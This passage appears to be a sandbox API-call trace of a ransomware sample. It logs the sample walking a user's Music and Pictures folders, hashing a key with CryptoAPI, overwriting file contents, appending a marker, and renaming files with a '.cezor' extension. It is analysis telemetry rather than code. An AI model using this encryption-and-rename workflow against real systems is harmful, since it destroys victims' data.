lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.394] CloseHandle (hObject=0x5c4) returned 1 [0060.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0060.395] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.395] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_9l8.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_9l8.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_9l8.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_9l8.wav.cezor")) returned 1 [0060.395] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.395] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.396] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.396] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xe24d8580, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a", cAlternateFileName="")) returned 1 [0060.396] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.396] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.396] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.396] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_D7Y.m4a") returned=".m4a" [0060.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_D7Y.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_d7y.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.396] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=10616) returned 1 [0060.396] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.399] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2952, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.399] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.400] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.400] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x2978, lpOverlapped=0x0) returned 1 [0060.400] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.400] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.400] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.400] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.400] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.401] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.401] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.401] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.401] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.401] GetLastError () returned 0x0 [0060.401] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.401] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2980) returned 0x31218d0 [0060.401] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.401] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x2973, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x2973, lpOverlapped=0x0) returned 1 [0060.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.401] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2978, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.401] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.402] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.402] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.402] CloseHandle (hObject=0x5c4) returned 1 [0060.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0060.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.402] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_D7Y.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_d7y.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_D7Y.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_d7y.m4a.cezor")) returned 1 [0060.403] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.403] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.404] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xe24d8580, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a", cAlternateFileName="")) returned 0 [0060.404] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0060.404] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.404] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.406] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.406] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.406] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0060.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.406] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.406] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.406] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.406] PathFindFileNameW (pszPath="") returned="" [0060.406] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xe24d8580, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a", cAlternateFileName="")) returned 0xffffffff [0060.406] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.406] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0060.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.406] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.406] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.406] PathFindFileNameW (pszPath="") returned="" [0060.406] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xe24d8580, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a", cAlternateFileName="")) returned 0xffffffff [0060.407] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.407] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.407] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0060.407] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.407] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.407] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.407] PathFindFileNameW (pszPath="") returned="" [0060.407] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa8ce6f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa8ce6f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.407] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa8ce6f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa8ce6f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.407] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5103ad50, ftCreationTime.dwHighDateTime=0x1d4d55c, ftLastAccessTime.dwLowDateTime=0x9730dc30, ftLastAccessTime.dwHighDateTime=0x1d4cada, ftLastWriteTime.dwLowDateTime=0x9730dc30, ftLastWriteTime.dwHighDateTime=0x1d4cada, nFileSizeHigh=0x0, nFileSizeLow=0xfc31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-W0-.gif", cAlternateFileName="")) returned 1 [0060.407] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-W0-.gif") returned=".gif" [0060.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-W0-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-w0-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.407] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=64561) returned 1 [0060.407] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.410] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfc0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.410] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.411] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xfc31, lpOverlapped=0x0) returned 1 [0060.412] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.412] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.412] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.412] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.412] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.412] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.412] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.412] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.412] GetLastError () returned 0x0 [0060.413] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.413] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.413] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfc31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.413] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.413] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.413] CloseHandle (hObject=0x5c4) returned 1 [0060.414] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-W0-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-w0-.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-W0-.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-w0-.gif.cezor")) returned 1 [0060.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a3f40, ftCreationTime.dwHighDateTime=0x1d4c9e3, ftLastAccessTime.dwLowDateTime=0x66099ba0, ftLastAccessTime.dwHighDateTime=0x1d4caa4, ftLastWriteTime.dwLowDateTime=0x66099ba0, ftLastWriteTime.dwHighDateTime=0x1d4caa4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1oLW", cAlternateFileName="")) returned 1 [0060.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93151100, ftCreationTime.dwHighDateTime=0x1d4d1ee, ftLastAccessTime.dwLowDateTime=0xde95e180, ftLastAccessTime.dwHighDateTime=0x1d4d361, ftLastWriteTime.dwLowDateTime=0xde95e180, ftLastWriteTime.dwHighDateTime=0x1d4d361, nFileSizeHigh=0x0, nFileSizeLow=0x1347a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aor58F2ltwiS2qWZJE.bmp", cAlternateFileName="AOR58F~1.BMP")) returned 1 [0060.418] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Aor58F2ltwiS2qWZJE.bmp") returned=".bmp" [0060.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Aor58F2ltwiS2qWZJE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\aor58f2ltwis2qwzje.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.418] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=78970) returned 1 [0060.418] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.421] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.421] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.421] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, 